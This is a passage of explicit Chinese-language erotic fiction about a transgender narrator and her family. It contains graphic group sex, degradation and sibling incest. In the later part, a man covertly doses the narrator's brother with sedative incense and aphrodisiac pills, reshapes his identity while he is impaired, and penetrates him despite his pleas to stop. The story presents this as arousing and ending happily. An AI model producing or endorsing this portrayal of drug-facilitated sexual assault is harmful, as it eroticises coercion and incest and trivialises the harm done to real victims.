整個晚上,他們三個人輪流使用著我的嘴巴、我的菊穴,唯一能夠補充體力的東西只有男人、女人下體的分泌物,我失神得有如一個人型玩偶般任他們操弄。客廳的鐘聲告訴著淫亂的身體,現在是凌晨三點。我還坐在地上吸吮著Jamey的大雞巴,缺乏水分的身體,唾液也分泌不出來,Jamey用了潤滑油才讓我能夠順利的吸食他的大雞巴。「youare a good girl , baby …oh… you will be a good slave . 」,看我沒有反駁,「Good girl . Good lustful slave !」哈哈大笑的Jamey抬起了我的下巴就用他那粗長大陰莖直接深入我乾啞喉嚨的深處。被那可以跟乒乓球媲美的龜頭粗暴的深入,強烈的嘔吐欲望讓我快要窒息,但他硬是又狠命的抽插了幾下才抽出,我腹內的酸水也無法抑止的跟著嘔出。我嗆咳著,臉上掛滿淚水、鼻水、還有剛從肚子裡翻出來的酸水。Jamey 就任憑著我一個人癱坐在那邊,身體實在太累了,連起身也沒有辦就在地上深深的睡去。
影片結束,我解開了哥哥的束縛。「哥哥,你認識的小另不在了,我是人妖婊子,我叫Ring。Ring是個免錢的妓女...你有更多好女人可以認識...嗚…」他難看的臉色讓我的說話一句也說不下去。「你想要我離開你,也不要這樣做賤自己…,我知道了,我不會再來找你的…」哥哥說完這些話就離開了。我想追上去,想跟哥哥說對不起,想哭著挽留他回來,但我卻忍著…修長的指甲深深的抓進自己掌心,任由鮮血滑落,無論如何不能再讓哥哥與我糾纏不清。
我推開了身邊最後一根稻草,任由已經異常精神狀況繼續沉淪下去。像是行屍走肉雖然勉強維持著白天起來做運動、看書,晚上工作的生活,但那都是無意識的彷彿機械依照既定的程式去做,害怕思考,也害怕人群,連在店裡要跟客人講話都會在轉過身後就開始胡思亂想他們是不是在嘲笑我,他們一定在罵我等等的。還好一個要好的同事Luna發現我的古怪,硬是搬來跟我住一塊,在我哭的時候陪著我安慰我,我看書的時候就幫我遞茶送水的當書僮。
躺在床上的我像是個小孩,要Luna抱抱,鑽進他的懷裡吸吮他那美麗的D杯乳房。「小寶貝乖,媽媽在這裡,喔..你吸得媽媽好想要..」沒有奶水,我總是學著男人在我身上的作為刺激著她的乳頭,忍受不住的Luna摳弄著不斷分泌出晶瑩淫水的妹妹,發出交乎「Ring,輕一些,喔…」。我愧疚的讓她坐在我臉上,讓她用肥厚充血的陰唇刷著我的臉,我的唇,我的舌頭服務著她溼漉漉的小縫,沒有奶水好吸,我就將Luna的淫液當作奶水,男人、女人的騷液就是輔育我的奶水。總是被男人們稱讚的靈巧小舌,連Luna也無法抵擋「阿…我的pussy好爽...阿...就是那裏...不要停下來」,直到我的臉上都是淫水了他才依依不捨的起身。一件會讓我們兩個會瘋狂的情趣內褲是她懲罰我調皮得讓她洩身的器具。這件特製的內褲,再會陰部上有一根 20公分的直挺肉色陰莖,內裡卻還另有一根小號的卻毛茸茸的淫具,讓穿上去的女孩在幹人的時候也能充分的享受著快感。「恩...LUNA媽媽好厲害...好厲害...」明明出生時就是個男孩,現在卻在一個女孩的身下呻吟、嚎哭。粗硬的假屌狠狠的進出我的菊門,Luna對我的施慾帶給我的是無法形容的舒暢感覺,那感覺混合了安心與滿足,還有一個是想到這個下賤身體被男女征服都會高潮的異樣羞愧。
Cindy偶爾也會甩開男人的邀約過來陪我,她們輪流照顧我直到我好轉。那段時間的記憶我好模糊,其實什麼都想不太起來,但印象最深的是我一個人在家就還好,但是一但外出就像是個小女孩,走到哪裡都要人陪伴,一轉頭要是發現身邊沒有她們的身影就會全身懺抖嘴裡低聲喃喃著「Luna…Cindy….媽媽….救我….!!」「Luna…Cindy….媽媽….救我….!!」,直到她們回到我身邊,才用啜泣掩蓋掉喃喃自語。直到有一天我醒來,一個人默默的看著在身邊熟睡著的Luna,我發現我的精神變得好冷靜,一個人看著窗外默默的坐了好一陣子,然後出門走到巷口買了早餐再走回來,一切都平靜得不得了,沒有緊張,沒有顫抖。當我回到家,看到抱著電話著急的在找我的Luna,我抱抱她「Luna別擔心,我想通了,我好了!」。Luna繼續住在我這裡兩三天確定我都沒事了才回去。我仍舊會難過會心痛,但我不想再因為那些事情掉眼淚了。對Luna跟Cindy來說還有一件事情很困擾她們,「老娘避孕措施做很好齁,我才沒有你那麼大的女兒啦!」這是Cindy的說法。「帶一個女兒會破壞人家的行情啦!」Luna經常這樣對我說。雖然年紀也都才大我一歲兩歲,但我總是叫他們媽媽,總是不管身邊有沒有人就跟她們撒嬌,也讓他們難以招架。
有了上學期的慘痛經驗,二年級開學我的課雖然仍舊很滿,但我盡力的穿插了幾個空堂在其中,拿來趕報告、補眠都很好用。對於同學們對我的那些毒言辣語我也練就了左耳進右耳出的功夫,兼顧課業跟工作都來不及了,空閒時間拿來補眠絕對比去傷心那些垃圾話來得有幫助。我的不回應讓那些嘴賤的同學自感無趣,加上班上幾個跟我走比較近的同學跳出來為我指責那些嘴賤的人,我真的很感激他們,無論如何這個學期我的性別不再是焦點,也總算較能夠融入班上的生活了。因為好多課都必須跟一年級一起上,甚至有幾個學弟希望我能夠跟他們交往。當然是都被我回絕光光了。我可沒興趣因為這件事情再度挑起大家對我的指指點點。每天都是上課、上班忙碌的生活實在是沒什麼機會有個固定的男友。只有幾次在學校餐廳巧遇Jamey,都不知不覺的被他說服帶到廁所裡為他口交。「不要忘記你個好奴隸。」我看這是他說得最字正腔圓的一句中文了。有機會品嘗一下他的大雞巴當他的奴隸又有何妨,每次都要在廁所吞吐他那龐然大物半個多小時,滿足的看他被我的吸吮舒服到仰頭呻吟,看著他的腹肌在我眼前跳抽搐,他為了舒服總是要我伸直了頸子讓他能整根沒入我的嘴裡,要在狹窄的廁所中這樣做,我只能在坐在髒污甚至殘留尿漬的地板上,仰著頭讓他由上往下撞擊我的臉龐。他的身體衝擊我的小臉蛋,喉頭被粗壯的南傍国給撐開,總總不適讓我的眼淚不自主的狂掉,當他滿足的退出我嘴裡後我卻只能趴在馬桶旁聞著那可怕的尿騷味不斷的嘔出酸水。我不曉得為什麼我會享受這種被糟蹋的感覺,當他拍拍屁股走人後我仍舊坐在那充滿尿騷味的空間中玩弄著自己的私處,享受著那被被征服後的餘韻。我被教育得每次走進公廁裡,唾腺就不斷的分泌唾液,身體也會不自覺得躁熱起來。還好我堅持不給他我的電話,不然我一定會變成他隨叩隨到的外賣妓女。
二年級下學期的期末考前,好久沒跟我連絡的小蔡打給我,問我要不要參加他的婚禮。這個小蔡女朋友交了半年就把人家的肚子給搞大,才剛畢業就得奉子結婚,差點把平常都沒在管他的蔡叔叔氣死。「好…好…我會回去,恩…我要跟新娘說你的弱點在哪裡,要他把你管得牢牢的!!哈哈哈….好….就這樣,掰掰。」期末考結束那天我就搭車跑去蔡叔叔家。小蔡跟新娘坐在客廳看電視,在電話中就知道新娘是小蔡工作地方的店長,比他大了兩歲。她看我拿著她們家的鑰匙開門走進來,有點錯愕的跟我打了個招呼,小蔡介紹我說,「這是我爸的前女友,小另,現在才唸大二。」意想不到的答案讓新娘嘴巴張得老開,口水都差點滴下來了。「蔡叔叔不在?」「對阿,他明天才從香港飛回來,你會住到我們結婚那天吧?」「當然,你又不是不知道我沒有地方去!」新娘對我們對話越來越迷惑,直接抓著我就問「妹妹…你…真的是蔡爸的女朋友?」「姊姊,你叫我小另,也可以叫我Ring,我之前真的跟他爸交往過,他沒有騙你啦。」「天阿,你們差幾歲阿?這….這….」我撇了撇小蔡,明明就知道我今天會到,幹嘛不先跟他老婆講清楚這些,真是的。「姊姊,先別急著問這些,我都還不知道你的名字耶。」她這才跟我自我介紹,她的名字很古典,叫楚雲,不過我就直接叫她雲姊了。
「小另今天跟我睡!」接受完雲姊的疲勞式拷問,她突然睜著亮晶晶的眼睛要我一定得答應今天晚上跟她一起睡覺。她有著一種傻大姐的個性,實在是很難讓人拒絕她,但,「不行!」我跟小蔡異口同聲的說不行,「為什麼?小另這麼可愛,讓姊姊抱著睡覺啦!」「你們是夫妻要跟蔡哥一起睡!」「我們三個一起睡嘛~」明明就比我大了5、6歲怎麼比我還會盧…我趕忙找了藉口跑離開蔡叔叔家,讓小蔡自己去應付這件事情。
好久沒回來了,夜風帶走了一絲溽暑的熱氣,走在熟悉的街道上咀嚼著剛剛跟雲姊的對話,嘴角不禁露出微笑。不知不覺的我踏在回家的路上,眼看再轉個彎就會看到我們那棟大樓了。我硬生生的停下腳步,逼自己轉身,突然眼前又是一片茫茫。我都不知道自己怎麼走的,明明眼前被淚水弄得一片模糊,卻還是走到了之前放學後躲起來變裝的公園廁所,坐在馬桶上抱著大腿,鬈曲著無聲哭泣。哭了一下,心情有好一些了,這時門外傳來對話聲,「對啦,就是這裡啦,有個女的走到這附近就不見了,一定是進來這裡啦。」「幹,女廁就沒人阿!」「不會走到男廁吧,我們去看看!」很快的,門被拉動了一下,「低家啦!」隔著門板,男人粗俗的歡呼令人不禁害怕起來。我只帶了一串鑰匙就出門了,連手機也沒有該怎麼求救?只好隔著門板強壓著不安對他們說話「你們想幹嘛?」「要棒賽啦!快出來!快出來!」怎麼可能會是他們說的那樣,我不吭聲任由他們拍著門板要喊著要我出去。「我已經報警了!你們還不要離開嗎?」「大仔,走啦,條子來了就麻煩了!」「怕什麼,剛剛一點聲音都沒有,她有講話嗎?他只是嚇你的!」恰好這時候門口傳來一陣腳步聲,我連忙大喊「救命阿!強姦阿!」才聽到他們幹聲連連的跑開。
我也慌忙的衝出廁所,深怕那陣腳步的主人離開了。那是一對來公園散步的中年夫婦,他們聽到我的叫喊又看到兩個男人跑出廁所,連忙問我有沒有怎麼樣,我只請他們陪我走到明亮的地方,謝謝他們說沒事了。坐在7-11裡面平復著忐忑的情緒,一台車駛到門口,從側座下來的是好一陣子不見的爸爸。我連忙壓低頭,深怕爸爸發現我。爸爸走進店裡買了包菸,就站在門口跟另一個人講著話。我低著頭假裝在研究商品目錄,邊偷聽著爸爸的談話。「恩恩,阿佑…在越南那邊…還不錯…明天…去醫院….檢查…」只能斷斷續續的聽他們講幾個字,爸爸抽完菸他們就離開了。我卻還在沉思著爸爸的背影。整個晚上經歷了那麼多事情,讓我一回到蔡叔叔家就累得上床睡覺,當然是毫不客氣的睡在主臥房阿。
「你過來幹嘛!!」半夜小蔡居然爬到了我的床上,把我給抱在懷裡。「你瘋了嗎…走開,走開…雲姊就在樓上耶…」我推著小蔡想把他給趕走,但小蔡太清楚我的弱點了,他掐著我的乳房,手指輕輕的在我乳首上畫著圓「嗚…你不要太過份…恩…」「小另,你越來越騷了…讓我檢查檢查一下.。」他那不安分的手又搭在我的小陰莖上輕輕的把玩著。我受不了他的挑撥,連忙用手摀住自己的嘴,深怕我那淫蕩的呻吟傳了出去「恩~…你會被雲姐發現啦…快上去…」我努力的想要避免淪落成破壞人家家庭的小三「小雲都不讓我碰她,我憋得好辛苦,小另…幫我消消火…」「明天!明天雲姊不是要上班嗎,明天再給你碰…你給我滾回去睡覺啦!」為了制止這個精蟲上腦的王八蛋我只好跟他定下了約定。他又對我摸摸拉拉了好一會才回房間。但是火熱的身體讓我再也睡不著,我起身走到廚房倒了杯水,坐在後面的陽台躺椅上看著這個繁華都市的夜景。
雖然沒有睡好,習慣早起上課的我,仍舊一早醒來準備大家的早餐,看著被兩個男人糟蹋了兩年的廚房,我嘆了好大一口氣,住在這裡這幾天我應該是不得閒了。我忙著切東切西的時候,屁股卻被重重拍了一下。「阿…你這個…」我以為是小蔡,轉過頭就要罵人,卻看到雲姐笑咪咪的站在我身後「小另早!你穿這樣好性感喔!」一早迷迷糊糊的還分不清楚狀況,我身上只穿著一條內褲,上半身什麼也沒穿,就直接披著圍裙在廚房弄東西。「阿…我忘記蔡哥也在了…我趕快去穿衣服…」其實我是忘記你在了...雲姐。我換了家居服就跟著雲姐在廚房裡弄早餐,看她如數家珍的說著小蔡愛吃什麼,什麼小蔡不愛吃的,我覺得她好窩心,那個負心漢小蔡等一下要好好的罵罵他。「小另、小另,我說話你怎麼放空了?」「阿…我想事情想到恍神了啦」「想男朋友齁…我剛跟他交往的時候也會這樣呢…」真的是受夠了這個幸福的女人了。我跟雲姐邊吃早餐邊聊,直到她快遲到了才催她趕快去上班。小蔡這個時候才醒,跟雲姐在門口卿卿我我了一下,就跑來找我討早餐吃。「小另,早!...小另,餓!」還真像在跟媽媽討早餐一般。他睡眼惺忪的用下巴靠著餐桌,我把早餐丟在桌子上開始將廚房洗洗刷刷。我用小蔡很快的就跑來打擾我「小另,你答應我了…」「我不要,雲姐是真的愛你,你要珍惜她。」「那我現在硬的發痛怎麼辦?「打手槍啊!....去去去...不要來吵我,婚前你有很多事情要忙吧。」小蔡看我真的不讓他得逞只好摸摸鼻子回房去。弄了大半個早上,才將那充滿油污的廚房洗刷的閃閃發亮,我出門買了一些菜跟生活用品,就滾回床上繼續睡回籠覺。睡夢中我的乳頭感到一陣酥麻...是小蔡吧,我心想著,睡意朦朧的我連眼睛都沒睜開用手撥開了那正在吸吮我胸部的色頭,「蔡XX,我警告你,我說過不了...不要吵我睡覺!!!」「你說誰?」嗚…怎麼是叔叔...我驚醒得彈坐起來。
蔡叔叔就躺在我身邊,臉上的神情說不出的複雜。「叔叔...」我怯生生的叫了他。「妳剛剛叫誰的名字!」「人家睡迷糊了啦...叔叔剛到嗎?」我想要裝迷糊,但卻瞞不了他。「小另,別裝傻,叔叔知道你跟那不肖子的關係。」!!!怎麼會?我眼睛瞪大的看著叔叔,他繼續說著。「我不氣你們亂搞,但我氣他都要結婚了還不好好對待他老婆!!」「沒有啦,叔叔你聽我說...蔡哥是...」我費盡口舌才讓叔叔相信小蔡沒有想要跟我怎麼樣。「叔叔...你怎麼知道我跟蔡哥有...」解決了一樁差點發生的清門風的慘案,我好奇的問起蔡叔叔怎麼會發現?「你哥哥告訴我的。」「哥哥?」「去年的事情了,都快一年了...那天我下班看到一個年輕人一直瞪著我看,我問他我們認識嗎,那就是你哥了。」...那天離家後我要哥哥帶我來這裏,沒想到被哥哥猜到是蔡叔叔家。「我邀請他上來坐坐,他就坐在客廳,把你給他看影片的事情說給我聽。」「其實我也沒有很驚訝,你跟我兒子互動那麼頻繁,我也早就在猜了。但是沒想到你居然偷襲你親哥哥...我調教出來的小淫女也太淫蕩了些。」「哥哥連這個都跟你說!!」我羞紅了臉,碰著頭不敢相信。「你想跟你哥哥見面嗎?」「叔叔跟哥哥有聯絡?」「呵呵,我還跟他一起去香港呢。」說完叔叔就離開了房間去打電話。
等待的時間過得很慢,我想再追問一些哥哥的事情,但叔叔都不肯透露只說有問題等哥哥來再問,我只好默默的掃地拖地板,不找些事情做我跟本就定不下來。「我才剛回到家耶,就迫不及待要人家過來啊...」我正在浴室洗洗刷刷時,一個尖細卻說不出是男是女的聲音在客廳對叔叔嬌嗔。我走到客廳看到了〝哥哥〞...或是說留著長髮穿著女裝長得像我哥哥的妖艷女子。「哎呀!!」哥哥看到我轉身就想跑。「李家俊給我站住!!」我現在的心情跟爸爸媽媽知道我穿女裝時候的心情差不多吧。「我要你去找個女的交往,不是叫你去當女的,你...你...胸部怎麼比我還大...啊...我都不知道我在唸什麼了啦!!」「還有你..你是不是吃掉我哥,我...」我像是抓狂的母老虎對著眼前兩個王八蛋咆哮。要不是雲姐這時候下班回來我應該會繼續崩潰下去。「Hi...爸我回來了。嘉嘉也在啊,怎麼都站著勒,來來來,大家坐嘛,小另來跟姐姐坐。」雲姐沒有意識到我正在發脾氣,我跟雲姐說「雲姐,也認識我...姐姐?」「啊呦,你不是在生氣爸爸跟嘉嘉的事情吧,那個姐姐跟你說...雖然你跟爸爸在一起比較早...」「楚雲,你先去房間,讓我們好好聊一下。」蔡叔叔打斷了雲姐的話,讓我們獨處。我乘機會打量了一下哥哥的打扮,不得不說雖然熟悉他的我能夠看出他的男兒身,但是本來就英俊他打扮起來也不失豔麗,很難讓人辨識他男人的身份,臉上還有著幾分我的影子,說是我的影子也不對,應該是說我們兄弟都遺傳了媽媽秀氣的臉蛋。「這...該怎麼說好...」雲姐上樓後,哥哥開口說話了「我來說吧!」蔡叔叔接過話。「那天他來找我,說了很多事情。最後他哭著跟我說其實他一點也不在意你跟什麼人交合過,他很喜歡你,不想跟你分開。
「為什麼,小另不能夠跟我在一起?蔡先生你比較瞭解她吧,你可以告訴我嗎?」客廳裡,哥哥,也就是雲姐口中的〝嘉嘉〞哭著問叔叔。「我想她應該也是很捨不得,不然不會用這麼殘忍的方法逼你放棄啦。」雖然知被告知兒子也跟自己的女人搞過,情緒不佳的蔡叔叔還是耐著心情安慰哥哥。「我真的不懂她,從小到大一直長大,我還是不了解他。」「你不是他,怎麼能完全的了解他。或許要從他的角度去想像吧。」「那...我該怎麼做呢?」蔡叔叔為難的不知道如何回復這個大哉問。他看著眼前泣不成聲的男人,雖然有著肌肉,但身材精瘦又四肢修長,隨口把心裡話說了出來「不如,打扮成女人看看。」這句話造成了之後一連串的連鎖。
「你170才62公斤啊,我前妻還比你胖勒」叔叔拿了幾件他那離婚太太穿過的裙子還有上衣出來讓哥哥換上,「真的是兄弟,好像...」叔叔觀察著他的背影。「真的很像嗎?」叔叔緩緩的點點頭。「可是小另更漂亮...」「試看看化妝如何,我可以教你」蔡叔叔讓他坐在梳妝台前,「我畫一邊,你畫一邊,好..很好,你抓到訣竅了...對這邊打陰影就更像了...對對對...」「還差頭髮」「先用這個小另以前頭髮還不長的時候用的...」兩個人在房間裡,憑著他們的記憶把哥哥的身體當作模特兒,塑造出不在場的小另。「這樣有九成了,胸部還要墊一下…成了…站起來我看看。」「不…不行…」「怎麼不行?」「我…有點興奮…」哥哥,換上女裝就叫他嘉嘉吧,摀著下身堅挺的南傍国。「嗯…下面這麼突出就不像他了。」「怎麼辦?」「來,你看著鏡子,看看你的臉。」嘉嘉看著梳妝台的鏡子,一個較為成熟帶著男子氣息的小另從鏡子裡看出來。蔡叔叔把房間的燈都關上,只剩下梳妝台上一顆小小地燈泡朦朧的發出微弱光芒,讓嘉嘉只能注意到鏡中自己那神似小另的身影。叔叔拿出了一點香精點燃了放在梳妝台前,「小另老婆」蔡叔叔故意在他耳朵邊叫著我的名字。「憋在內褲裡很不舒服吧…讓老公看看好不好…」叔叔撩起了她的裙擺,「調皮的壞東西,這麼大一個阿…」「我…有點不好意思…」「小另老婆平常不是都很大膽的嗎?讓老公摸摸…」香精裡帶有些微的迷藥,讓聞的人頭腦昏沉無法正常的思考。「對…我是小另…叔叔…我真的是小另嗎?」「不,你不是小另,你是小另的姊姊,你叫嘉嘉!!」惡魔的呢喃在嘉嘉的耳邊響起「我是嘉嘉..對…我是姊姊嘉嘉!!阿…」叔叔的大手搓揉著嘉嘉硬挺的大雞巴。「嘉嘉果然是姊姊,下面比妹妹大好多…讓叔叔幫你吃吃好不好阿…」「不…人家沒有洗很髒…阿…」不容嘉嘉的拒絕,叔叔吞下了嘉嘉勃發的陰莖。
「阿…好害羞…阿…不要舔頂端…人家會瘋掉」被叔叔的話語催眠得以為自己是女人的嘉嘉坐在梳妝台前享受著叔叔用嘴巴對她的疼愛,看著鏡中那潮紅的臉龐、迷濛的媚眼,嘉嘉的心態逐漸轉變著。「原來人家當女人這麼漂亮…阿…被小另的男人疼愛著…我是不是可以理解小另呢…阿…不行…快要到了…阿…」老經驗的叔叔發現嘉嘉快要高潮了,吐出嘉嘉的肉棒,用力用手搓揉著嘉嘉,還用手指沾滿口水刺入嘉嘉未被開發過得肛門中。讓嘉嘉射精的同時能夠感受到肛門的飽實感。異樣的刺激讓嘉嘉到達了史無前例的噴發,梳妝台的鏡子也被撒得水漬斑斑。「嘉嘉你看,你的臉上是不是被噴滿了精液阿,好淫蕩的樣子喔。」叔叔要嘉嘉看了看鏡中的自己,鏡中攤在椅子上喘氣的她隔著鏡片上的精液倒映在她的眼簾。「真的…嘉嘉看起來好色…好像小另…」「來,這顆藥讓你心情穩定一些,今天睡在這裡好嗎?」嘉嘉點點頭,聽憑著叔叔對她的安排。
叔叔自己也說不上來,怎麼會再那天對嘉嘉使出這種迷惑他看上眼卻又得不到的小男生時才會使出的下三濫手段,或許是因為我跟他兒子交合讓他遷怒到跟我有血緣關係的嘉嘉身上,也或許氣惱眼前這男人跑來戳破這面紗…更或者是想要再度擁抱著那個小另的身體也不一定。嘉嘉已經是個思想成熟的成年人,但是在精神受到挫折的時候,這樣的迷惑卻剛好為她自己塑造出”嘉嘉”這個逃避的天地。嘉嘉在叔叔家裡一住就是一個星期,正好出國去畢業旅行,小蔡並不在家,嘉嘉都在叔叔房裡一步也沒有離開。「嗯…叔叔的精液好好吃。」「哈哈,叔叔你弄得人家好癢。」,拉起窗簾,充滿迷香的陰暗房內的電視反覆播放著小另跟蔡叔叔共同拍攝的影帶,嘉嘉身上的女裝凌亂的掛著,她的肛門被自己拿著細長的香水瓶的手給撐開,另一隻手不斷撫弄著自己半軟卻興奮的雞巴。沒有開冷氣,她身上汗水淋漓,但她只在乎著自己的動作。「阿…又快要出來了…被貫穿好爽…好爽…」叔叔餵她吃的根本就不是什麼穩定心情的藥,而是會讓人不停興奮的春藥,還要求嘉嘉照三餐吃。只吃了幾天,嘉嘉就跟她妹妹一般的淫蕩了。
「叔叔,嘉嘉想學小另,想當叔叔的老婆!!請指導嘉嘉,一個女人是要怎麼服侍老公,拜託你了...老公。」叔叔看著關在房內好幾天的嘉嘉羞紅著臉龐提出這樣下賤的要求,抓起他的臉蛋「嘉嘉寶貝,你願意聽叔叔的話,變成叔叔的人嗎?」聽到叔叔這樣說,嘉嘉嬌羞的嗯了一聲。整天不間斷看著、聽著小另幸福的淫聲,讓嘉嘉既是嫉妒卻又無比的羨慕。「我來教你一個淫蕩的人妖老婆要怎麼服侍她老公,好嗎?」「你首先要….」
「我,李嘉嘉,一個淫賤的人妖,就連自己的妹妹也一樣的下賤,嘉嘉為自己流有這樣卑賤的鮮血感到自豪。整天想的都是怎麼取悅男人,想讓雞巴天天操我,想學妹妹天天喝精液。今天開始嘉嘉要服侍這個讓我理解這一切的男人,讓嘉嘉這個人妖女履行妻子的義務。嘉嘉願意接受任何一切教育,就算把嘉嘉當成母狗飼養也無所謂。妻子的任務就是滿足老公所有的需求,讓他開心,照顧他的雞巴,讓他把我幹到一波又一波的高潮…感謝老公願意接受嘉嘉,疼惜嘉嘉。」
我看著叔叔播放的影片,哥哥畫著女裝戴著長髮,赤身裸體的跪在房間的地毯上,雖然那時的身體毫無女人味,但他誠摯的眼神,刻意打扮的女性臉龐,讓我隔著影片也感覺到這是個誠摯的妻子正渴求著先生的疼愛。
「好老婆…來,你再把這顆藥吞下去…很好,先把老公的雞巴舔一舔。」說著嘉嘉立刻趴下去如獲至寶的仔細地舔起露出西裝褲外的陰莖。「對,對了…就是這樣…你很聰明,不像是第一次舔雞巴阿…」「因為人家一直在用香水瓶練習…」初次舔舐陰莖的興奮讓嘉嘉不禁偷偷的撫弄微硬的小雞巴。「騷老婆,你看看那面立鏡,你看看你還像個男人嗎?」嘉嘉轉頭過去看了看自己的騷樣「阿…人家好醜…」看到自己裸身的樣子,嘉嘉似乎回想起自己的男兒身,猛得抱住了自己的胸前低著頭癱坐在地上。但蔡叔叔在此刻加重了猛藥,蹲在嘉嘉身邊,拉嘉嘉的雙手,輕輕的用舌尖在嘉嘉的乳突上畫圓,又是輕彈又是啃咬,最後開始用力地將兩側的肉往內擠「來…嘉嘉,用手夾住,對…夾緊,低頭看看…」淺淺的一條凹陷,稱不上是”溝”但卻讓嘉嘉有了自己也有女乳的錯覺。「老婆乖乖聽話,老公讓你的身體越來越漂亮好不好…」嘉嘉點點頭,最後一次,能回頭的門被關上了。
「來,抬起頭!!」坐在床上,嘉嘉抬起漲得紅通通的小臉,但卻主動撫摸起蔡叔叔硬梆梆的肉棒,再度低頭舔舐。叔叔的陰莖再度被口水給包圍,他拿起潤滑油滴在嘉嘉翹得老高的屁股,把整個屁股都給用的油膩膩的,當然仍舊是處女的緊密肛門也不會放過。「老公,嘉嘉今天清潔過了,嘉嘉想要被老公破處。」嘉嘉被叔叔的手指玩弄著,忍不住哀求著叔叔為她開苞。「這個善解人意的淫婦!」叔叔將濕淋淋的的大肉棒抵到了嘉嘉的洞口,輕輕的在粉嫩的花瓣上摩擦著。嘉嘉自己用雙手扒開了股溝,好讓叔叔能夠更加刺激自己的門戶,阿…「好痛喔!」叔叔的雞巴猛力貫穿了守護腸道的菊門,嘉嘉痛得留下了眼淚,「阿,不要…好痛好痛,快拔出去!」「我是男人,你不要幹我…不要…」劇痛讓昏沉的腦袋清醒了一些,但,早有準備的蔡叔叔拿起早已準備好的錄音筆播放著才剛說完的誓詞「我,李嘉嘉,一個淫賤的人妖…」隨著不斷重複播放的聲音,叔叔緩緩的抽送他的雞巴,嘉嘉的翹臀不斷地扭動,她那成熟的雞巴縮成一團,掙扎得晃來晃去。十幾分鐘過去了,嘉嘉一開始補充的淫藥逐漸發揮了作用,已經適應粗大圓柱的菊穴除了痛還產生了痠麻的感覺。「好痛…好酸…阿…酸死人了…」不斷哭喊著疼痛的嘉嘉終於多了些痛以外的形容詞。「好嘉嘉是男人還是女人阿?」叔叔戲謔的問著「不知道,嘉嘉不知道,阿…好酸…嗯哼…阿…」「嘉嘉說不說?」叔叔壞心的用手把玩著嘉嘉縮成一團卻又敏感的小陽物「阿…嘉嘉什麼都不是..阿…阿哼…嗯…」前後的刺激讓嘉嘉雖然嘴硬,但卻又不得不發出淫穢的浪聲。「你什麼都不是…你是人妖…老公的人妖老婆對不對?」「對…對…阿…那裡…那裡…尿尿…老公戳人家那裡讓人家好想尿尿…阿…」「老婆不要忍耐,你快要享受美妙屬於女人的高潮了喔!!」叔叔更加速的抓住嘉嘉的臀部狠命的操著!隨著一下一下的碰撞,悶熱的房間裡嘉嘉香汗淋漓,汗溼讓假髮歪斜,髮絲紛飛晃動的雞巴不斷灑出點點的淫液「不行了…不行了…人家真的不行了…要尿了…尿出來了…」
我一個人在房間裡看完了哥哥被開苞的紀錄,身體發燙,呼吸也急促得不得了。畫面停留在哥哥仰起身體不斷噴灑著一股又一股精液的畫面。哥哥,不,嘉嘉算好了時間走進房「好害羞…」她那女性的反應我還是不太能接受,「被妹妹看到這個影片好害羞…」「哥哥,對不起」不知道說什麼,我向哥哥道歉「哥哥的身體…」「漂亮嗎?做的…」「爸媽…」「沒回家不知道!」「你現在的工作?」「在他公司上班」嘉嘉比了比門外。「他開公司喔…」「你不知道?」「哇阿摘,他只跟我說他工作很自由阿。」這樣一問一答,我忍受不住把她的衣服脫掉想看看現在他的身體。「好…好軟…好大…真的是做的嗎?」「嗯嗯…去年底從B升級成D罩杯」「…你還做了兩次」「想用D杯幫老公打乳砲阿…不過真的背好酸喔。」我脫掉了嘉嘉的內褲,嘉嘉的雞雞還在,「哥哥還能勃起嗎?」「自發性的話是不行的,不過有做假體值入,姊姊弄給你看。」「姊姊…我還能跟你…發生關係嗎?妹妹好想要姊姊抱抱。」姊姊伸手進去我的衣服裡撫弄我的早就挺立的小櫻桃,她那裝在體內挺立的假屌被我握在手心,我看著她,彷彿看著自己的倒影「姊姊也舔舔我…」柔軟的床墊上,兩個相似的女體,一個充滿成熟女性的嫵媚,一個楚楚可憐得惹人憐愛,她們的頭抵在彼此的下陰,吸吮著不應該出現突起的突出物。
假體不如真正的肉棒那般堅硬,觸手下去軟軟的反彈,卻感受到內裡的扎實。我充滿感激著吸吮著,雖然變成姊姊了,但是這裡還是哥哥的味道。感到叔叔走了進來,但我們兩個淫亂的人妖誰也沒有空理會她,嘉嘉姊姊的舌頭鑽進我的小門戶中,我猛然意識到今天還未來得及清潔,我吐出口中的肉棒哀求著嘉嘉「姊姊不要,我今天還沒有洗過!!」「滋…滋…沒關係…姊姊用舌頭幫你洗。」我想要扭動屁股躲開嘉嘉的服務,但她溫柔的摟住我的屁股不讓我亂動,我只好含著她那大雞巴來報恩。叔叔上了床,靠在我的背後,「你們姊妹兩個,真是漂亮!!」叔叔從背後把我的努力進步到大B小C的乳房給一手握住,原本空虛的胸部被他搓揉著,讓我顧不得吸吮,發出淫聲。「嗯…嗯…嗯哼…」「老公…妹妹喘氣的樣子好可愛喔…」嘉嘉停止了對我下部的攻擊,轉過來觀賞我的表情。我羞澀的低下頭,被親人妖姊姊這樣盯著我看,我還下流的興奮不已。「來吸吸姊姊的大奶。」變成了女生的嘉嘉在床上說話既是下流卻又直直的挑逗我的靈魂。「嘖…嘖…嘖…」我的前胸被叔叔給握住搓揉著,而我的頭埋在嘉嘉柔軟的乳房中吸吮著,嘉嘉一手包覆住我的小弟弟輕輕的揉捏,而我的小菊門口則有叔叔的大龜頭刺激著。三人都沒有出聲,我前後的男女正隔著我用深吻分享彼此的唾液。我幸福得將體液不斷得排在嘉嘉手上。…姊姊抬起了被我弄滿液體的那隻纖纖玉手,「妹妹好敏感喔…小另妹妹的體液好香…嘖…嘖…」姊姊淫蕩的舔起手上的體液「嘖…妹妹說得沒錯…這個東西好好吃…姊姊每天都在辦公室吃這個當早餐呢。」我回過頭看了看背後的那個男人,他們到底在公司做什麼的阿。我起身去浴室清潔一下我的小菊門好迎接接下來的淫戲,當我離開浴室,嘉嘉正伏在地上舔著蔡叔叔的腳趾。「妹妹,我們一起服侍老公好嗎。」嘉嘉看著我,鼓勵我學著她的姿態。但我搖搖頭。「姊姊,妹妹不是不願意陪你一起服侍,但是妹妹有些話要先跟你們說。」我噗通的跪在地上
「我,李維另,一個淫賤的人妖,整天想的都是怎麼取悅男人,想讓雞巴天天操我,連親身哥哥都不放過,就算在公廁吸吮男人的雞巴都會高潮。今天開始小另只要在姊姊身邊,就是姊姊養的母狗,讓姊姊主人還有姊姊的老公玩弄,小另願意接受任何一切教育,母狗的任務就是讓主人還有她心愛的人開心,照顧他們的雞巴。」
